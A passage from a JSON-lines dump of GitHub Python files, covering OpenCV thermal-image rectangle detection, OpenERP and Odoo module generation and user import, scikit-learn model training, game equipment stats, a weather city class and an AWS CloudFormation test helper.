{model_name}\")\r\n model_path = load_file_from_url(\r\n url=file_url,\r\n model_dir=os.path.join(ROOT_DIR, WEIGHT_DIR),\r\n progress=True,\r\n file_name=None,\r\n )\r\n\r\n return GFPGANer(\r\n model_path=model_path,\r\n upscale=upscale,\r\n arch=arch,\r\n channel_multiplier=channel_multiplier,\r\n bg_upsampler=bg_upsampler,\r\n device=device,\r\n )\r\n","repo_name":"binh234/isr","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"3072511311","text":"DEBUG = False\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2 as cv\nimport matplotlib.pyplot as plt\n\ndef find_circles(img_cv):\n img_cv = cv.cvtColor(img_cv, cv.COLOR_GRAY2BGR)\n img_cv = cv.applyColorMap(img_cv, cv.COLORMAP_JET)\n\n if circles is not None:\n circles = np.uint16(np.around(circles))\n print(circles.shape)\n for i in circles[0,:]:\n # draw the outer circle\n cv.circle(img_cv,(i[0],i[1]),i[2],(0,255,0),2)\n # draw the center of the circle\n cv.circle(img_cv,(i[0],i[1]),2,(0,0,255),3)\n #cv.imwrite('test.png',img_cv)\n cv.imwrite('test.png',img_cv)\n circles = cv.HoughCircles(img_cv, cv.HOUGH_GRADIENT, 3, 10, param1=50, param2=30, minRadius=1, maxRadius= 5)\n\ndef plot_preprocessed_img(img_cv_in):\n img_cv = cv.cvtColor(img_cv_in, cv.COLOR_BGR2GRAY)\n #img_cv = cv.GaussianBlur(img_cv,(3,3), 0)\n #ret, thresh = cv.threshold(img_cv, 10, 256,cv.THRESH_BINARY_INV+cv.THRESH_OTSU)\n ret, thresh = cv.threshold(img_cv, 115, 256,cv.THRESH_BINARY)\n edge = cv.Canny(thresh, 120, 190, 3)\n cv.imwrite(f\"plots/edge/edge_img_lo_120_hi_190_grad_3.png\",edge)\n '''\n for i in range(10, 300,5):\n ret, thresh = cv.threshold(img_cv, i, 256,cv.THRESH_BINARY)\n #ret, thresh = cv.threshold(img_cv, i, 256,cv.THRESH_OTSU)\n #ret, thresh = cv.threshold(img_cv, i, 256,cv.THRESH_BINARY_INV+cv.THRESH_OTSU)\n cv.imwrite(f\"plots/thresh/thresh_{i}.png\",thresh)\n for j in range(100, 200, 20): \n for k in range(60, 100,10):\n for l in range(2, 8, 1):\n #edge = cv.Canny(img_cv, j, j+k, l)\n edge = cv.Canny(thresh, j, j+k, l)\n cv.imwrite(f\"plots/edge/edge_img_lo_{j}_hi_{j+k}_grad_{l}.png\",edge)\n edge = cv.GaussianBlur(edge,(3,3), 0)\n cv.imwrite(f\"plots/edge/edge_blurred_img_lo_{j}_hi_{j+k}_grad_{l}.png\",edge)\n\n '''\n\ndef crop_rect(img, rect):\n # get the parameter of the small rectangle\n center, size, angle = rect[0], rect[1], rect[2]\n center, size = tuple(map(int, center)), tuple(map(int, size))\n\n # get row and col num in img\n height, width = img.shape[0], img.shape[1]\n\n # calculate the rotation matrix\n M = cv.getRotationMatrix2D(center, angle, 1)\n # rotate the original image\n img_rot = cv.warpAffine(img, M, (width, height))\n\n # now rotated rectangle becomes vertical, and we crop it\n img_crop = cv.getRectSubPix(img_rot, size, center)\n\n return img_crop, img_rot\ndef prepare_img(img_cv, img_cv2):\n #img_cv = img_cv[:,:,0]\n print(\"here\")\n m1 = np.mean(img_cv)\n m2 = np.mean(img_cv2)\n #im_array = im_array * (m1/m2)\n img_cv2 = cv.convertScaleAbs(img_cv2,.9,5) \n img_cv2 = cv.resize(img_cv2, (img_cv.shape[0], img_cv.shape[1]), interpolation = cv.INTER_AREA)\n print(img_cv.shape)\n cv.imwrite(f\"plots/compare_R.png\",img_cv)\n cv.imwrite(f\"plots/compare_IR.png\",img_cv2)\n img_cv2 = np.asarray(img_cv2)\n img_arr2 = img_cv2.flatten()\n img_arr2 = img_arr2[img_arr2 < 255] \n fig, axs = plt.subplots(1, 2, sharey=True, tight_layout=True)\n bins_x = np.linspace(img_arr2.min(), img_arr2.max(), 20)\n #bins_y = range(7500, 9500, 20)\n axs[0].hist(img_arr2, bins=bins_x)\n axs[1].hist(img_arr2, bins=bins_x)\n plt.savefig(f\"plots/hist/hist_IR.png\")\n\ndef preprocess_image(img_cv,ks=5, d=3, sigColor=100, sigSpace=100,gc=1.):\n if DEBUG:\n cv.imwrite(f\"plots/pre_preprocessed.png\",img_cv)\n # ks must be odd 3,5,7\n kernel = np.ones((ks,ks), np.float32)/(ks*ks)\n img_conv = cv.filter2D(src=img_cv, ddepth=-1, kernel=kernel)\n if DEBUG:\n cv.imwrite(f\"plots/preprocessed_conv.png\",img_conv)\n img_bi = cv.bilateralFilter(src=img_conv, d=d, sigmaColor=sigColor, sigmaSpace=sigSpace)\n if DEBUG:\n cv.imwrite(f\"plots/preprocessed_bilateral.png\",img_bi)\n img_gamma = gammaCorrection(img_bi, gc)\n if DEBUG:\n cv.imwrite(f\"plots/preprocessed.png\",img_gamma)\n\n return img_gamma\n \ndef gammaCorrection(img_cv, gamma):\n invGamma = 1/ gamma\n table = [((i/255)**invGamma) * 255 for i in range(256)]\n table = np.array(table, np.uint8)\n\n return cv.LUT(img_cv, table)\n\n\n\ndef find_rectangles(img_cv_in,img_cv_in2):\n #i = 95\n img_cv_out = img_cv_in\n img_cv_out = cv.cvtColor(img_cv_out, cv.COLOR_BGR2GRAY)\n for i in range(2, 8):\n img_cv = cv.cvtColor(img_cv_in, cv.COLOR_BGR2GRAY)\n #img_cv = img_cv_in\n cv.imwrite(\"bin_img.png\",img_cv)\n #ret, thresh = cv.threshold(img_cv, i, 256,cv.THRESH_OTSU)\n #ret, thresh = cv.threshold(img_cv, i, 256,cv.THRESH_BINARY_INV+cv.THRESH_OTSU)\n\n #img_cv = cv.GaussianBlur(img_cv,(5,5), 0)\n img_cv = preprocess_image(img_cv,ks=5, d=3, sigColor=100, sigSpace=100,gc=1.)\n\n #ret, thresh = cv.threshold(img_cv, i, 256,cv.THRESH_BINARY)\n #thresh = cv.adaptiveThreshold(img_cv,255,cv.ADAPTIVE_THRESH_MEAN_C,cv.THRESH_BINARY,13,i)\n thresh = cv.adaptiveThreshold(img_cv,255,cv.ADAPTIVE_THRESH_GAUSSIAN_C,cv.THRESH_BINARY,13,i)\n #ret, thresh = cv.threshold(img_cv,i,255,cv.THRESH_BINARY+cv.THRESH_OTSU)\n #ret, thresh = cv.threshold(img_cv, i, 256,cv.THRESH_BINARY)\n #thresh = cv.GaussianBlur(thresh,(5,5), 0)\n #edge = cv.Canny(thresh, 120, 190, 3)\n #edge = cv.Canny(img_cv, 100, 150, 2)\n cv.imwrite(f\"plots/thresh/thresh_img_{i}.png\",thresh)\n #cv.imwrite(f\"plots/edge/edge_img_{i}.png\",edge)\n \n contours, hierarchy = cv.findContours(thresh, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\n #contours, hierarchy = cv.findContours(edge, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\n\n print(\"Number of contours detected: \", len(contours))\n\n #img_cv2 = cv.imread('Lato_SUD_TIR.tif', cv.IMREAD_UNCHANGED)\n #img_cv2 = cv.imread('1mw_TIR_index_grayscale.tif', cv.IMREAD_UNCHANGED)\n\n img_cv2 = cv.resize(img_cv_in2, (img_cv.shape[1], img_cv.shape[0]), interpolation = cv.INTER_AREA)\n img_cv2 = cv.cvtColor(np.uint8(img_cv2), cv.COLOR_GRAY2BGR)\n img_cv2 = cv.applyColorMap(img_cv2, cv.COLORMAP_TURBO)\n #img_cv2 = cv.applyColorMap(img_cv2, cv.COLORMAP_JET)\n\n w_arr = []\n h_arr = []\n for k,cnt in enumerate(contours):\n x1, y1 = cnt[0][0]\n approx = cv.approxPolyDP(cnt, 0.01*cv.arcLength(cnt, True), True)\n if len(approx) == 4:\n #x, y, w, h = cv.boundingRect(cnt)\n rect = cv.minAreaRect(cnt)\n #print(rect)\n box = cv.boxPoints(rect)\n box = np.int0(box)\n x1 = box[0]\n x2 = box[1]\n x3 = box[2]\n w = np.sum(np.power(x2-x1,2))\n h = np.sum(np.power(x3-x1,2))\n #print(h)\n #print(f\"box: {box}\")\n if( w >50**2 and h > 50**2 and w < 120**2 and h<120**2):\n #img_crop, img_rot = crop_rect(img_cv2,rect)\n #cv.imwrite(f\"plots/crops/cropped_rect_{k}_param_{i}.png\",img_crop)\n print(f\"width: {w}, height: {h}\")\n w_arr.append(w)\n h_arr.append(h)\n #img_cv = cv.drawContours(img_cv_in, [cnt], -1, (0, 255,255),6)\n img_cv = cv.drawContours(img_cv, [cnt], -1, (255,0,0),6)\n #img_cv2 = cv.drawContours(img_cv2, [cnt], -1, (255, 255,0),8)\n img_cv_out = cv.drawContours(img_cv_out, [box], -1, (255, 0,0),6)\n #cv.putText(img_cv, f\"{k}\", (x1[0], x1[1]), cv.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255,0), 2)\n #cv.putText(img_cv2, f\"{k}\", (x1[0], x1[1]), cv.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255,0), 2)\n\n fig, axs = plt.subplots(1, 2, sharey=True, tight_layout=True)\n bins_x = range(5500, 7500, 20)\n bins_y = range(7500, 9500, 20)\n axs[0].hist(w_arr, bins=bins_x)\n axs[1].hist(h_arr, bins=bins_y)\n plt.savefig(f\"plots/hist/hist_rec_{i}.png\")\n cv.imwrite(f\"plots/contours/contour_rec_{i}.png\",img_cv)\n cv.imwrite(f\"plots/contours/coutour_IR_rec_{i}.png\",img_cv2)\n #cv.imshow(\"Shapes\", img_cv)\n #cv.waitKey(0)\n cv.imwrite(f\"plots/contours/contour_all.png\",img_cv_out)\n cv.destroyAllWindows()\n\ndef main():\n Image.MAX_IMAGE_PIXELS = 254162108\n #im = Image.open('Lato_SUD_LERS.tif')\n #im = Image.open('Lato_SUD.tif')\n im1 = Image.open('Ortho1mw_Lres.tif')\n im_array1 = np.array(im1)\n img_cv1 = im_array1.astype(np.uint8)\n\n im2 = Image.open('1mw_TIR_index_grayscale.tif')\n im_array2 = np.array(im2)\n img_cv2 = im_array2.astype(np.uint8)\n\n #prepare_img(img_cv1, img_cv2)\n find_rectangles(img_cv1, img_cv2)\n #plot_preprocessed_img(img_cv)\n #find_circle(img_cv)\n\n if DEBUG:\n #im_array = im_array * (im_array > 30)\n print('mean')\n print(im_array.mean())\n print('max')\n print(im_array.max())\n print('min')\n print(im_array.mean())\n print(im.getbands())\n print(im.tell())\n print(im_array.shape)\n print(im_array.size)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gabriel-rmrz/hotspot_finder","sub_path":"hotspot_finder.py","file_name":"hotspot_finder.py","file_ext":"py","file_size_in_byte":8506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41543271749","text":"import os\nimport csv\nfrom xlrd import open_workbook\n\nfiles = '/home/openerp/Documentos/Herrera/CSV Files/'\n\nnames = os.listdir(files)\nfield_help = open_workbook('/home/openerp/Documentos/Herrera/descripcion campos txt.xls')\nsheet = field_help.sheet_by_index(0)\nos.popen('mkdir /home/openerp/auto/herrera_madi_data')\nopenerp = open('/home/openerp/auto/herrera_madi_data/__openerp__.py','w')\nos.popen('echo import model >> /home/openerp/auto/herrera_madi_data/__init__.py')\nos.popen('mkdir /home/openerp/auto/herrera_madi_data/model /home/openerp/auto/herrera_madi_data/view /home/openerp/auto/herrera_madi_data/wizard')\ninit = open('/home/openerp/auto/herrera_madi_data/model/__init__.py','w')\nmenu = False\nopenerp.write('''#!/usr/bin/python\n# -*- encoding: utf-8 -*-\n###########################################################################\n# Module Writen to OpenERP, Open Source Management Solution\n# Copyright (C) Vauxoo ().\n# All Rights Reserved\n###############Credits######################################################\n# Coded by: Vauxoo C.A. \n# Planified by: Nhomar Hernandez\n# Audited by: Vauxoo C.A.\n#############################################################################\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n################################################################################''')\nopenerp.write('\\n{\\n')\nopenerp.write('\"name\" : \"Herrera madi Data Imported\",\\n')\nopenerp.write('\"version\" : \"0.1\",\\n')\nopenerp.write('\"depends\" : [\"base\"],\\n')\nopenerp.write('\"author\" : \"Vauxoo\",\\n')\nopenerp.write('\"description\" : \"Create modules by file used to import data from cobol \" ,\\n')\nopenerp.write('\"website\" : \"http://vauxoo.com\",\\n')\nopenerp.write('\"category\" : \"Generic Modules\",\\n')\nopenerp.write('\"init_xml\" : [],\\n')\nopenerp.write('\"demo_xml\" : [],\\n')\nopenerp.write('\"test\" : [],\\n')\nopenerp.write('\"update_xml\" : [\\n')\n\n\nfor name_file in names:\n name_file and name_file[:-4].find('~') <0 and init.write('import %s\\n'%name_file[:-4])\n fields = csv.DictReader(open('%s/%s'%(files,name_file)))\n clase = open('/home/openerp/auto/herrera_madi_data/model/%s.py'%name_file[:-4],'w')\n view = open('/home/openerp/auto/herrera_madi_data/view/%s_view.xml'%name_file[:-4],'w')\n\n\n view.write('\\n \\n')\n view.write(\" \\n\"%str(name_file[:-4]).lower())\n view.write(\" %s\\n\"%str(name_file[:-4]).lower())\n view.write(\" maestro.%s\\n\"%str(name_file[:-4]).lower())\n view.write(\" form\\n\")\n view.write(\" \\n\")\n view.write(\"

\\n\"%str(name_file[:-4]))\n clase.write('from osv import osv\\n')\n clase.write('from osv import fields')\n clase.write('\\n\\nclass %s(osv.osv):'%name_file[:-4])\n clase.write(\"\\n\\n _name = 'maestro.%s'\"%str(name_file[:-4]).lower())\n clase.write(\"\\n _columns = { \\n\")\n \n for field in fields:\n tree_name = []\n clase.write(\" 'name' : fields.integer('N Line',help='Line number in the original file'),\\n\") \n clase.write(\" 'used' : fields.boolean('Used',help='If line has been used to import data'),\\n\") \n for key in field.keys(): \n d = 0\n for value in range(sheet.nrows):\n ind = sheet.row_values(value)\n if str(ind[1]).strip() == str(key).strip():\n help = ind[3].encode('ascii','ignore')\n clase.write(\" '%s' : fields.char('%s',%d,help='%s'),\\n\"%(str(key).replace(\"'\",'').strip(),str(key).replace(\"'\",'').strip(),(len(key)+3),help ))\n \n d+=1\n if d == 0:\n clase.write(\" '%s' : fields.char('%s',%d),\\n\"%(str(key).replace(\"'\",'').strip(),str(key).replace(\"'\",'').strip(),(len(key)+3)))\n \n view.write(\" \\n\"%str(key).replace(\"'\",'').strip().replace(\"''\",\"'\"))\n tree_name.append(str(key).replace(\"'\",'').strip().replace(\"''\",\"'\"))\n view.write(\" \\n\")\n view.write(\" \\n\")\n view.write(\" \\n\")\n view.write('\\n\\n\\n')\n view.write(\" \\n\"%str(name_file[:-4]).lower())\n view.write(\" %s\\n\"%str(name_file[:-4]).lower())\n view.write(\" maestro.%s\\n\"%str(name_file[:-4]).lower())\n view.write(\" tree\\n\")\n view.write(\" \\n\")\n view.write(\" \\n\"%str(name_file[:-4]))\n for tree in tree_name:\n view.write(\" \\n\"%tree)\n view.write(\" \\n\")\n view.write(\" \\n\")\n view.write(\" \\n\")\n view.write('\\n\\n\\n')\n view.write(\" \\n\"%str(name_file[:-4]).lower())\n view.write(\" maestro.%s\\n\"%str(name_file[:-4]).lower())\n view.write(\" maestro.%s\\n\"%str(name_file[:-4]).lower())\n view.write(\" form\\n\")\n view.write(\" form\\n\")\n view.write(\" tree,form\\n\")\n view.write(\" \\n\")\n view.write('\\n\\n\\n')\n if not menu:\n view.write(\" \\n\")\n view.write(\" \\n\")\n \n view.write(\"\\n\"%(str(name_file[:-4]),str(name_file[:-4]).lower(),str(name_file[:-4]).lower()))\n menu = True\n view.write(\" \\n\")\n view.write(\"\\n\")\n openerp.write(\"'view/%s_view.xml',\\n\"%name_file[:-4])\n break\n\n\n clase.write(\"\\n }\")\n clase.write('\\n%s()'%name_file[:-4])\nopenerp.write('],\\n')\nopenerp.write('\"active\": False,\\n')\nopenerp.write('\"installable\": True,\\n')\nopenerp.write('}')\n\n\n\n","repo_name":"josemoralesp/odoo-scripts","sub_path":"odoo-scripts/create_class.py","file_name":"create_class.py","file_ext":"py","file_size_in_byte":6998,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"37979874656","text":"import pandas as pd\nfrom sklearn import metrics\nimport joblib\n\n\nfrom sklearn.ensemble import RandomForestClassifier,AdaBoostClassifier,GradientBoostingClassifier\n\n## full dataset ##\ntrain = pd.read_csv(\"train.csv\").drop([\"Unnamed: 0\",\"Unnamed: 0.1\"], axis = 1)\ntest = pd.read_csv(\"test.csv\").drop([\"Unnamed: 0\",\"Unnamed: 0.1\"], axis = 1)\nX_train,y_train = train.loc[:, train.columns != 'Primary Type'], train['Primary Type']\nX_test,y_test = test.loc[:, test.columns != 'Primary Type'], test['Primary Type']\n\nclf = RandomForestClassifier(n_estimators=120)\nX_train_no_beat = X_train.loc[:,~X_train.columns.str.contains(\"^Beat\")]\nX_test_no_beat = X_test.loc[:,~X_test.columns.str.contains(\"^Beat\")]\n\nclf.fit(X_train, y_train)\ny_pred=clf.predict(X_test)\njoblib.dump(clf, 'randomForestModel.pkl')\nprint(\"Accuracy randomForest no beats:\",metrics.accuracy_score(y_test, y_pred))\nfeature_names = [f'feature {c}' for c in X_train.columns]\nfeature_imp = pd.Series(clf.feature_importances_,index=feature_names).sort_values(ascending=False)\nfeature_imp.to_csv(\"feature_importance.csv\")\nclf = AdaBoostClassifier(n_estimators=120)\nclf.fit(X_train_no_beat, y_train)\ny_pred = clf.predict(X_test_no_beat)\njoblib.dump(clf, 'adaBoostModel.pkl')\nprint(\"Accuracy Adaboost no beats full dataset: \", metrics.accuracy_score(y_test, y_pred))\n\nclf = GradientBoostingClassifier(n_estimators=120)\nclf.fit(X_train_no_beat, y_train)\ny_pred = clf.predict(X_test_no_beat)\njoblib.dump(clf, 'gradientBoostingModel.pkl')\nprint(\"Accuracy GradientBoosting full no beats dataset: \", metrics.accuracy_score(y_test, y_pred))\n\n\n","repo_name":"yaelkirk/Hackaton","sub_path":"random_forest.py","file_name":"random_forest.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40463852757","text":"import binascii\nimport tempfile\nimport xlrd\nfrom odoo import fields, models, _\nfrom odoo.exceptions import ValidationError\n\n\nclass UserImport(models.TransientModel):\n \"\"\"Import User with access right\"\"\"\n _name = 'user.import'\n _description = 'User Import'\n\n file = fields.Binary(string=\"Upload File\", help='Upload the file here')\n\n def import_file(self):\n \"\"\" function to import user from xlsx file \"\"\"\n if self:\n try:\n file_string = tempfile.NamedTemporaryFile(suffix=\".xlsx\")\n file_string.write(binascii.a2b_base64(self.file))\n book = xlrd.open_workbook(file_string.name)\n sheet = book.sheet_by_index(0)\n except:\n raise ValidationError(_(\"Please choose the correct file\"))\n\n startline = True\n for i in range(sheet.nrows):\n if startline:\n startline = False\n else:\n line = list(sheet.row_values(i))\n res_lang = self.env['res.lang']\n res_groups = self.env['res.groups']\n res_company = self.env['res.company']\n user_type = [line[4]]\n invalid_language = [lang for lang in [line[2]] if\n not res_lang.search(\n [('code', '=', lang), ('active', '=', True)])]\n if invalid_language:\n raise ValidationError(_(\"Language %s is not active\") % (\n \" \".join(invalid_language)))\n invalid_company = [res for res in [line[3]] if\n not res_company.search(\n [('name', '=', res)])]\n if invalid_company:\n raise ValidationError(_(\"Company %s not exists\") % (\n \" \".join(invalid_company)))\n invalid_user = [rec for rec in user_type if\n not res_groups.search(\n [('full_name', '=', rec)])]\n if invalid_user:\n raise ValidationError(_(\"Invalid User Type %s\") % (\n \" \".join(invalid_user)))\n if line[5]:\n groups = line[5].split(\",\")\n invalid_groups = [rec for rec in groups if\n not res_groups.search(\n [('full_name', '=', rec)])]\n if invalid_groups:\n raise ValidationError(_(\"Invalid groups %s\") % (\n \" \".join(invalid_groups)))\n else:\n groups = []\n access_right = res_groups.search(\n [('full_name', 'in', groups)]).ids\n tech_settings = line[6].split(',')\n tech_settings += user_type\n total_rights = res_groups.search(\n [('name', '=', tech_settings)]).ids\n group_ids = access_right + total_rights\n if line[0]:\n self.env['res.users'].create({\n 'name': line[0],\n 'login': line[1],\n 'lang': line[2],\n 'company_id': self.env['res.company'].search(\n [('name', '=', line[3])]).id if line[3] else '',\n 'groups_id': group_ids,\n })\n else:\n raise ValidationError(_('Please Enter the User Name.'))\n","repo_name":"CybroOdoo/CybroAddons","sub_path":"import_user_excel/wizard/user_import.py","file_name":"user_import.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","stars":204,"dataset":"github-code","pt":"52"} +{"seq_id":"13891239384","text":"import csv\nimport BaseStats\nfrom math import floor\n\n\nclass EquipmentBase(object):\n def __init__(self, key, name=\"None\"):\n self.name = name\n self.key = key\n self.type = str\n self.slot = str\n self.stat_bonuses = {\n \"Strength\": 0,\n \"Dexterity\": 0,\n \"Endurance\": 0,\n \"Technic\": 0,\n \"Speed\": 0,\n \"HitChance\": 0,\n \"Crit\": 0,\n \"DodgeChance\": 0,\n \"DebuffEfficiency\": 0,\n \"ResPhys\": 0,\n \"ResChem\": 0,\n \"ResThermo\": 0,\n \"Heal\": 0,\n \"Power\": 0\n }\n\n\nclass EquipmentCommon(EquipmentBase):\n def __init__(self, key, rarity, name=\"None\", mod_list=[]):\n EquipmentBase.__init__(self, key, name)\n self.rarity = EquipmentRarity(rarity)\n self.mod_list = mod_list\n self.rand_amount = 0\n self.rand_stat_distr = {}\n\n self.get_nonunique_item_stats()\n\n def get_nonunique_item_stats(self):\n\n self.get_common_equip_base_stats()\n self.get_mod_bonus_stats()\n\n def get_mod_bonus_stats(self):\n rand_amount = 0\n for m in self.mod_list:\n for key, value in m.bonus_dict.items():\n if key != \"Random\":\n self.stat_bonuses[key] += int(value)\n else:\n rand_amount += int(value)\n self.rand_amount = rand_amount\n\n def get_common_equip_base_stats(self):\n stat_source = csv.DictReader(open(BaseStats.ITEM_COMMON_BASES_CSV))\n for row in stat_source:\n if row[\"Key\"] == self.key:\n # Ключ предмета, должен совпадать с одним из ключей в таблице EquipmentCommon\n # Мы смотрим, что по табличным значениям предмет действительно дает бонус к статам сам по себе\n # И если да, то увеличиваем этот бонус учитывая рарность\n if row[\"BonusType1\"] != \"None\" and int(row[\"BonusAmount1\"]) != 0:\n self.stat_bonuses[row[\"BonusType1\"]] += floor(int(row[\"BonusAmount1\"]) * self.rarity.multi_stats)\n if row[\"BonusType2\"] != \"None\" and int(row[\"BonusAmount2\"]) != 0:\n self.stat_bonuses[row[\"BonusType2\"]] += floor(int(row[\"BonusAmount2\"]) * self.rarity.multi_stats)\n # Так как power задается в отдельном столбце и со своим модификатором, его мы добавляем отдельно.\n if int(row[\"Power\"]) != 0:\n self.stat_bonuses[\"Power\"] = int(row[\"Power\"]) * self.rarity.multi_power\n self.type = row[\"Type\"]\n self.slot = row[\"Slot\"]\n\n\nclass EquipmentRarity(object):\n def __init__(self, key):\n self.key = key\n source = csv.DictReader(open(BaseStats.ITEM_RARITY_COEF_CSV))\n for row in source:\n if len(row[\"Rarity\"]) == 0:\n continue\n elif self.key == row[\"Rarity\"]:\n self.multi_power = float(row[\"MultiPower\"])\n self.multi_stats = float(row[\"MultiStats\"])\n self.multi_salvage = float(row[\"MultiSalvage\"])\n\n\nclass EquipmentUnique(EquipmentBase):\n\n def __init__(self, key, name=\"None\"):\n self.key = key\n EquipmentBase.__init__(self, key, name)\n meta_source = csv.DictReader(open(BaseStats.ITEM_UNIQUE_KEYS))\n for row in meta_source:\n if row[\"Key\"] == self.key and row[\"Rarity\"] in BaseStats.RARITY_LIST:\n self.rarity = row[\"Rarity\"]\n else:\n raise Exception(\"Unique item {} dosen't have apropriate rarity \".format(self.key))\n self.get_unique_equip_stats()\n\n def get_unique_equip_stats(self):\n stat_source = csv.DictReader(open(BaseStats.ITEM_UNIQUE_STATS_CSV))\n for row in stat_source:\n if row[\"Key\"] == self.key:\n self.stat_bonuses[row[\"BonusType\"]] += int(row[\"BonusAmount\"])\n\n meta_source = csv.DictReader(open(BaseStats.ITEM_UNIQUE_KEYS))\n for row in meta_source:\n if row[\"Key\"] == self.key:\n self.type = row[\"Type\"]\n self.slot = row[\"Slot\"]\n\n\nclass EquipmentUtility:\n @staticmethod\n def check_weapon_type(merc, weapon):\n check = False\n if weapon.type == merc.mercenary_class.merc_weapon_type:\n check = True\n return check\n\n\n","repo_name":"Tapkevich/Posscam-CC","sub_path":"Equipment.py","file_name":"Equipment.py","file_ext":"py","file_size_in_byte":4597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1534234634","text":"class Ciudad:\n \"\"\"\"Clase para representar una ciudad.\n \n Atributos de clase:\n nombre -- El nombre de la ciudad.\n \n latitud -- Latitud de las coordenadas que determinan la ubicación \n de la ciudad.\n \n longitud -- Longitud de las coordenadas que determinan la ubicación \n de la ciudad.\n \"\"\"\n\n def __init__(self, datos):\n \"\"\"Constructor de una ciudad que inicializa sus atributos con los \n datos recibe.\n \n Parámetros:\n \n datos (dict) -- Información de una ciudad. Contiene las llaves\n \"name\" y \"coord\", cuyos valores son el nombre y las coordebadas\n de la ciudad respectivamente. Las coordenadas estarán dadas \n como un diccionario, en el cual sus claves serán \"lat\" y \n \"lon\" y sus respectivos valores la latitud y longitud de la \n ciudad. \n \"\"\"\n self.nombre = datos[\"name\"]\n self.latitud = datos[\"coord\"][\"lat\"]\n self.longitud = datos[\"coord\"][\"lon\"]\n\n def to_string(self):\n \"\"\"Representa en cadena a una ciudad, un atributo por linea.\n \n Regresa:\n \n cadena (Str) -- La representación de la ciudad.\n \"\"\"\n cadena = (\"Ciudad: {0}\\n\" +\n \"Coordenas:\\n\" + \n \" -Latitud: {1}°\\n\" +\n \" -Longitud: {2}°\\n\").format(\n self.nombre, self.latitud,self.longitud)\n return cadena \n ","repo_name":"alexiscoca/Web-Service","sub_path":"src/clima/Ciudad.py","file_name":"Ciudad.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"19792714626","text":"#!/usr/bin/env python3\nimport logging\nimport time\n\nimport boto3\nimport retrying\n\nfrom test_util.helpers import Host, retry_boto_rate_limits, SshInfo\n\nLOGGING_FORMAT = '[%(asctime)s|%(name)s|%(levelname)s]: %(message)s'\nlogging.basicConfig(format=LOGGING_FORMAT, level=logging.DEBUG)\n# AWS verbosity in debug mode overwhelms meaningful logging\nlogging.getLogger('botocore').setLevel(logging.INFO)\nlog = logging.getLogger(__name__)\n\nVPC_TEMPLATE_URL = 'https://s3.amazonaws.com/vpc-cluster-template/vpc-cluster-template.json'\nVPC_EBS_ONLY_TEMPLATE_URL = 'https://s3.amazonaws.com/vpc-cluster-template/vpc-ebs-only-cluster-template.json'\n\n\ndef template_by_instance_type(instance_type):\n if instance_type.split('.')[0] in ('c4', 't2', 'm4'):\n return VPC_EBS_ONLY_TEMPLATE_URL\n else:\n return VPC_TEMPLATE_URL\n\n\n@retry_boto_rate_limits\ndef instances_to_hosts(instances):\n return [Host(i.private_ip_address, i.public_ip_address) for i in instances]\n\n\nclass BotoWrapper():\n def __init__(self, region, aws_access_key_id, aws_secret_access_key):\n self.region = region\n self.session = boto3.session.Session(\n aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key)\n\n def client(self, name):\n return self.session.client(service_name=name, region_name=self.region)\n\n def resource(self, name):\n return self.session.resource(service_name=name, region_name=self.region)\n\n def create_key_pair(self, key_name):\n \"\"\"Retruns private key of newly generated pair\n \"\"\"\n key = self.resource('ec2').KeyPair(key_name)\n return key.key_material\n\n def delete_key_pair(self, key_name):\n self.resource('ec2').KeyPair(key_name).delete()\n\n def create_stack(self, name, template_url, user_parameters, deploy_timeout=60):\n \"\"\"Returns boto stack object\n \"\"\"\n log.info('Requesting AWS CloudFormation...')\n cf_parameters = []\n for k, v in user_parameters.items():\n cf_parameters.append({'ParameterKey': k, 'ParameterValue': v})\n self.resource('cloudformation').create_stack(\n StackName=name,\n TemplateURL=template_url,\n DisableRollback=True,\n TimeoutInMinutes=deploy_timeout,\n Capabilities=['CAPABILITY_IAM'],\n Parameters=cf_parameters)\n return CfStack(name, self)\n\n\nclass CfStack():\n def __init__(self, stack_name, boto_wrapper):\n self.boto_wrapper = boto_wrapper\n self.stack = self.boto_wrapper.resource('cloudformation').Stack(stack_name)\n self._host_cache = {}\n\n def wait_for_status_change(self, state_1, state_2, wait_before_poll_min, timeout=60 * 60):\n \"\"\"\n Note: Do not use unwrapped boto waiter class, it has very poor error handling\n\n Stacks can have one of the following statuses. See:\n http://boto3.readthedocs.io/en/latest/reference/\n services/cloudformation.html#CloudFormation.Client.describe_stacks\n\n CREATE_IN_PROGRESS, CREATE_FAILED, CREATE_COMPLETE\n ROLLBACK_IN_PROGRESS, ROLLBACK_FAILED, ROLLBACK_COMPLETE\n DELETE_IN_PROGRESS, DELETE_FAILED, DELETE_COMPLETE\n UPDATE_IN_PROGRESS, UPDATE_COMPLETE_CLEANUP_IN_PROGRESS\n UPDATE_COMPLETE, UPDATE_ROLLBACK_IN_PROGRESS\n UPDATE_ROLLBACK_FAILED, UPDATE_ROLLBACK_COMPLETE\n 